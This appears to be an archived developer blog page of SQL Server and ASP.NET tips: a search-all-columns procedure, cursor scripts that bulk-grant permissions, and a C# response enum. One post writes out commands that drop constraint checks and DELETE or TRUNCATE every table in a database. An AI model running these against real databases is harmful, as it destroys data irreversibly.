    @SearchStr nvarchar(100)
)
AS
CollapseBEGIN
    -- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
    -- Purpose: To search all columns of all tables for a given search string
    -- Written by: Narayana Vyas Kondreddi
    -- Site: http://vyaskn.tripod.com
    -- Tested on: SQL Server 7.0 and SQL Server 2000
    -- Date modified: 28th July 2002 22:50 GMT
    CREATE TABLE #Results (ColumnName nvarchar(370), ColumnValue nvarchar(3630))

    SET NOCOUNT ON

    DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110)
    SET  @TableName = ''
    SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')

    WHILE @TableName IS NOT NULL
    BEGIN
        SET @ColumnName = ''
        SET @TableName = 
        (
            SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
            FROM     INFORMATION_SCHEMA.TABLES
            WHERE         TABLE_TYPE = 'BASE TABLE'
                AND    QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
                AND    OBJECTPROPERTY(
                        OBJECT_ID(
                            QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
                             ), 'IsMSShipped'
                               ) = 0
        )

        WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
        BEGIN
            SET @ColumnName =
            (
                SELECT MIN(QUOTENAME(COLUMN_NAME))
                FROM     INFORMATION_SCHEMA.COLUMNS
                WHERE         TABLE_SCHEMA    = PARSENAME(@TableName, 2)
                    AND    TABLE_NAME    = PARSENAME(@TableName, 1)
                    AND    DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar', 'int', 'decimal')
                    AND    QUOTENAME(COLUMN_NAME) > @ColumnName
            )
    
            IF @ColumnName IS NOT NULL
            BEGIN
                INSERT INTO #Results
                EXEC
                (
                    'SELECT ''' + @TableName + '.' + @ColumnName + ''', LEFT(' + @ColumnName + ', 3630) 
                    FROM ' + @TableName + ' (NOLOCK) ' +
                    ' WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
                )
            END
        END    
    END

    SELECT ColumnName, ColumnValue FROM #Results
END
 

Don't forget to follow me on Twitter.

# Tuesday, May 01, 2007

ASP.Net Membership SQL Roles access

Tuesday, May 01, 2007 8:41:48 AM (GMT Daylight Time, UTC+01:00)

We have recently moved over to SQL Server 2005 and as part of this transfer I decided to aggregate two separate ASP.Net Membership databases that were created purely out of error.

For those of you who don’t already know, you can happily run more than application’s security from a single membership database as long as you correctly configure the web.config’s security settings –for more information on doing that see my post on having dual records in the ASP.Net authentication table (see: Dual Records In The ASPNet Authentication Table). The important attribute/value set to configure if you are planning on running more than one application from the same roles database is “applicationName”. If you do not set “applicationName” you will find that users can log in across all your applications, roles/access levels will get mixed up and a whole bunch of other hullabaloo!

Luckily for me, the only records stored in one of the membership databases were two users, both of which I knew the password to so I decided I would simply update the web.config with the new database connection string and add them manually.

The next thing I wanted to sort however was the specific SQL Login’s access to the membership database, previously I simply added the user to all the various aspnet_ roles that were in the database which worked fine. As I’m looking to use this database for other applications in the future and I don’t like sharing usernames/passwords across applications, adding the roles each time would become a real PITA so I decided to add a new role with all the access required for the database so I could simply add the user to this new role. I called the role IIS_User.

A number of our applications build on the foundation of the ASP.Net Membership database with application specific values and so I tend to have another table for the application’s users within the applications specific database to store these values. The user has the usual UserId (usually an int) and a uniqueidentifier which allows me to link the two database together. With this in mind, I need additional access to the ASP.Net Membership database –SELECT permission on the tables. I don’t like adding more permissions to a role than needed but I needed a method of doing this quickly –assigning EXECUTE and SELECT permissions to the new role on the various tables/stored procedures. In time I’ll revisit this and work out which are needed by the role and remove the permissions not needed but for now this’ll do :)

The quick and dirty T-SQL

DECLARE @SQL nvarchar(4000),
    @Owner sysname,
    @objName sysname,
    @Return int,
    @objType nvarchar(5),
    @rolename nvarchar(255)

SET @rolename = 'IIS_User'

-- Cursor of all the stored procedures in the current database
DECLARE cursStoredProcedures CURSOR FAST_FORWARD
FOR
SELECT 
    USER_NAME(uid) Owner, 
    [name] StoredProcedure,
    xtype
FROM
    sysobjects
WHERE
(
    xtype = 'U'
  OR
    xtype = 'P'
)
  AND
    LEFT([name], 7) = 'aspnet_'

OPEN cursStoredProcedures

-- Get the first row
FETCH NEXT FROM cursStoredProcedures
INTO @Owner, @objName, @objType

-- Set the return code to 0
SET @Return = 0

-- Encapsulate the permissions assignment within a transaction
BEGIN TRAN

-- Cycle through the rows of the cursor
-- And grant permissions
WHILE ((@@FETCH_STATUS = 0) AND (@Return = 0))
  BEGIN

    --Determine the object's type (table/stored procedure) -could 
    --be done using a case too if more objects are added later
    IF @objType = 'P'
    BEGIN
        SET @SQL = 'GRANT EXECUTE ON [' + @Owner + '].[' + @objName  + '] TO ' + @rolename
    END

    IF @objType = 'U'
    BEGIN
        SET @SQL = 'GRANT SELECT ON [' + @Owner + '].[' + @objName  + '] TO ' + @rolename
    END

    -- Execute the SQL statement
    EXEC @Return = sp_executesql @SQL

    -- Get the next row
    FETCH NEXT FROM cursStoredProcedures
    INTO @Owner, @objName, @objType
  END

-- Clean-up after the cursor
CLOSE cursStoredProcedures
DEALLOCATE cursStoredProcedures

-- Check to see if the WHILE loop exited with an error.
IF (@Return = 0)
  BEGIN
    -- Exited fine, commit the permissions
    COMMIT TRAN
  END
ELSE
  BEGIN
    -- Exited with an error, rollback any changes
    ROLLBACK TRAN
    
    -- Report the error
    SET @SQL = 'Error granting permission to ['
    + @Owner + '].[' + @objName + ']'
    RAISERROR(@SQL, 16, 1)
  END
GO
 

Don't forget to follow me on Twitter.

# Tuesday, April 17, 2007

SQL Server Delete all data

Tuesday, April 17, 2007 4:18:54 PM (GMT Daylight Time, UTC+01:00)

I expect many people already know about this technique but I wanted to share it with those that don’t. The other day I needed to remove all data from a database before importing data from another database. I usually use DTS to copy the data across but knew that the database (one test) had conflicting ids so I decided deleting all the data out of the test database would be the best way to ensure all data’s up to date.

I found this useful little set of SQL at: http://sqljunkies.com/WebLog/roman/archive/2006/03/03/18386.aspx, there are two solutions propsed within the post and comments so here they both are:

Delete the data without resetting the identities

-- disable referential integrity
EXEC sp_MSForEachTable 'ALTER TABLE ? NOCHECK CONSTRAINT ALL'
GO

EXEC sp_MSForEachTable 'DELETE FROM ?'
GO
-- enable referential integrity again
EXEC sp_MSForEachTable 'ALTER TABLE ? CHECK CONSTRAINT ALL'
GO

Delete the data and reset the identities

-- disable referential integrity
EXEC sp_MSForEachTable 'ALTER TABLE ? NOCHECK CONSTRAINT ALL' 
GO 

EXEC sp_MSForEachTable 'TRUNCATE TABLE ?' 
GO 

-- enable referential integrity again 
EXEC sp_MSForEachTable 'ALTER TABLE ? CHECK CONSTRAINT ALL' 
GO
 

Don't forget to follow me on Twitter.

SQL Server Delete all data
Useful Links:  #  digg it!  del.icio.us  Technorati  email it!  Post CommentsComments [7]  Trackback LinkTrackback
CategoriesTags: SQL Server | Web Development
# Wednesday, February 28, 2007

SQL Server SP2 quirks

Wednesday, February 28, 2007 6:35:40 PM (GMT Standard Time, UTC+00:00)

Ok, as sad as it sounds I've been looking forward to the latest SQL Server service pack since I heard about some of the issues it fixed as there was two "glitches" in particular that seriously bugged me, namely:

  • Loading a SQL file into the query editor on a live connection would ask you to log in again -this bugged the hell out of me because I have a number of routines saved on my disk as SQL files that manage client's servers and so I don't always have the password to easily hand which would just delay development (ok all be it by 30seconds or so but that's not the point)
  • It would never remember my password in the initial splash screen, again see why above.

Anyway, it's great to see that these two points were fixed as well as a load of other issues but I couldn't help but chuckle when I saw the new context menus, I don't know about you but when editing this table I didn't know which one I needed to choose:

Confusing SQL Server Context Menu

FWIW you need "Design" to open the design view and "Edit" to generate a SQL CREATE Script. Genius!

 

Don't forget to follow me on Twitter.

SQL Server SP2 quirks
Useful Links:  #  digg it!  del.icio.us  Technorati  email it!  Post CommentsComments [0]  Trackback LinkTrackback
CategoriesTags: SQL Server
# Monday, November 13, 2006

Making sense of database responses

Monday, November 13, 2006 8:48:41 PM (GMT Standard Time, UTC+00:00)

We're nearing the end of a large system for the lovely people over at Consolidated Communications Management Ltd and we've just come across a nice idea to make sense of database responses. Typically in the past we've simply returned -1/0 for failure and a positive integer (usually an id) of it was successful. The new method should add a little more conformity to our code. We already use a common Database Access Layer which handles the opening/closing of our connection, adding parameters etc but I’ve just added an enum with the common database responses, thought it may be of use to others:

public enum DatabaseResponse
{
    Success = 0,
    Init = -1,
    Found = -2,
    NotFound = -3,
    Duplicate = -4
}

This should cover the common responses from our database however to make it a little more futureproof we'll keep -1 through to -10 reserved for this data level and then start more specific responses from -11 (i.e. BadPassword).

Using it is simple (this is not real code before you ask!):

public bool Save()
{
    DatabaseLayer DBLayer = new DatabaseLayer();

    //Check whether we should be saving or inserting this record
    if (this.Id == (int)DatabaseLayer.DatabaseResponse.Init)
    {
        //The Id's set to initialised only so insert
        //The create method simply inserts the values into the database and returns
        //either the Id of the newly inserted record or our database response
        this.Id = DBLayer.Create(this);

        if (this.Id >= (int)DatabaseLayer.DatabaseResponse.Success)
        {
            //The insert was a success
            return true
        }
        else
        {
            //The insert failed for some reason -you could throw an error 
            //to catch or simply bubble the response upto to the code behind layer
            return false
        }
    }
    else
    {
        //When updating the record don't use the Id to store the response, instead
        //throw it into a temp object and use that so the Id's still stored in the object
        int response = DBLayer.Update(this);

        if (response == (int)DatabaseLayer.DatabaseResponse.Success)
            return true//All's ok
        else
            return false//Something went wrong -it could be the item wasn't found etc
    }
}
 

Don't forget to follow me on Twitter.

Making sense of database responses
Useful Links:  #  digg it!  del.icio.us  Technorati  email it!  Post CommentsComments [1]  Trackback LinkTrackback
CategoriesTags: ASP | ASP.Net | SQL Server
# Monday, October 09, 2006

Stored Procedure to assign permissions

Monday, October 09, 2006 3:42:49 PM (GMT Daylight Time, UTC+01:00)

This is a useful stored procedure for assigning permissions to users quickly and easily. We tend to assign a new login to each application we develop, this way we limit the damage possible in the event of a username/password compromise.

/*--------------------------------------------------------------------------
Automatically assign the role permissions
--------------------------------------------------------------------------*/

USE DatabaseName
SET NOCOUNT ON

DECLARE @objName varchar(80)
DECLARE @objType char(2)
DECLARE @username varchar(100)
SET @username = 'UserNameToAssignPermissionsTo'

DECLARE grant_perms_on_sps CURSOR FOR
SELECT name, type
FROM SYSOBJECTS
WHERE
  (
    (type = 'P')
   OR
    (type = 'FN')
   OR
    (type = 'TF')
   OR
    (type = 'U')
   OR
    (type = 'V')
  )
 AND
  uid = 1
 AND
  status > -1
 AND
  LEFT(name, 3) <> 'dt_' --See Note 1

OPEN grant_perms_on_sps
FETCH NEXT FROM grant_perms_on_sps
INTO @objName, @objType

WHILE @@FETCH_STATUS = 0
BEGIN
  IF @objType = 'P' OR @objType = 'FN'
  BEGIN
    EXEC ('GRANT EXECUTE ON dbo.' + @objName + ' TO ' + @username)
    PRINT ('GRANTED EXECUTE ON dbo.' + @objName + ' TO ' + @username)
  END

  IF @objType = 'TF'
  BEGIN
    EXEC ('GRANT SELECT ON dbo.' + @objName + ' TO ' + @username)
    PRINT ('GRANTED SELECT ON dbo.' + @objName + ' TO ' + @username)
  END

  FETCH NEXT FROM grant_perms_on_sps
  INTO @objName, @objType
END

CLOSE grant_perms_on_sps
DEALLOCATE grant_perms_on_sps

GO
------------------------------------------------------------------------

Note 1: In addition, we tend to prefix our database objects with useful prefixes to group relevant tables, i.e. if we had login information stored in the database we may use “Login_” as the prefix, using this method with this Stored Procedure to assign permissions you can easily select the relevant objects. So you could alter the stored procedure a touch:

DECLARE @prefix varchar(100)
SET @prefix = 'PrefixToUse'

LEFT(name, LEN(@prefix)) = @prefix

 

Don't forget to follow me on Twitter.

# Thursday, September 28, 2006

SQL Server a memory hog? No, not at all

Thursday, September 28, 2006 7:12:59 PM (GMT Daylight Time, UTC+01:00)

Craig found an amusing dity today, he was messing around with the settings in SQL Server Express and noticed these memory settings:

SQL Server Memory Settings

For those of you who don’t want to deliminate it, that’s:

  • 2,147,483,647 Megabytes
  • 2,147,483 Gigabytes
  • 2,147 Terabytes
  • Or 2 Petabytes!!

One does have to wonder what sort of super computer Microsoft are expecting to have run the database. It's certainly future-proof that's for sure. I'd love to have 1TB of RAM, let alone 2PB! So the next time you wonder what’s taking up all the memory, best check SQL Server –you might just find that lost Petabyte…

BTW if this blog post is still around when Petabytes are as common as Mega and Gigabytes are now then feel free to lean back in your chair and recollect “the good ol’ days” when computers only had 200-300GB of disk space and a couple of Gig’s RAM.

 

Don't forget to follow me on Twitter.

# Monday, July 03, 2006

Bulk Granting EXECTUTE Permission on SQL Server

Monday, July 03, 2006 3:42:17 PM (GMT Daylight Time, UTC+01:00)

Here's some code I regularly find useful when going from a dev server to a production server (or changing the username), I'm sure there's a more automated way but for a quick fix...

DECLARE @username varchar(100)
SET @username = 'xyz'
SELECT
    'GRANT EXECUTE ON ' + name + ' TO ' + @username
FROM
    sysobjects
WHERE
    xtype = 'p'
AND
     LEFT(name, 4) = 'PRE_'

The code is simple, it lists all the stored procedures with a set prefix and generates the T-SQL to grant EXECUTE permissions to a given user.

To use it, set the username, update the last line if you would like to limit it's bounds (we prefix ours for clarity i.e. SProcs with a prefix of CMS_ are used in the Content Management System) and run it, then copy the results and run them in a Query Analyser.

 

Don't forget to follow me on Twitter.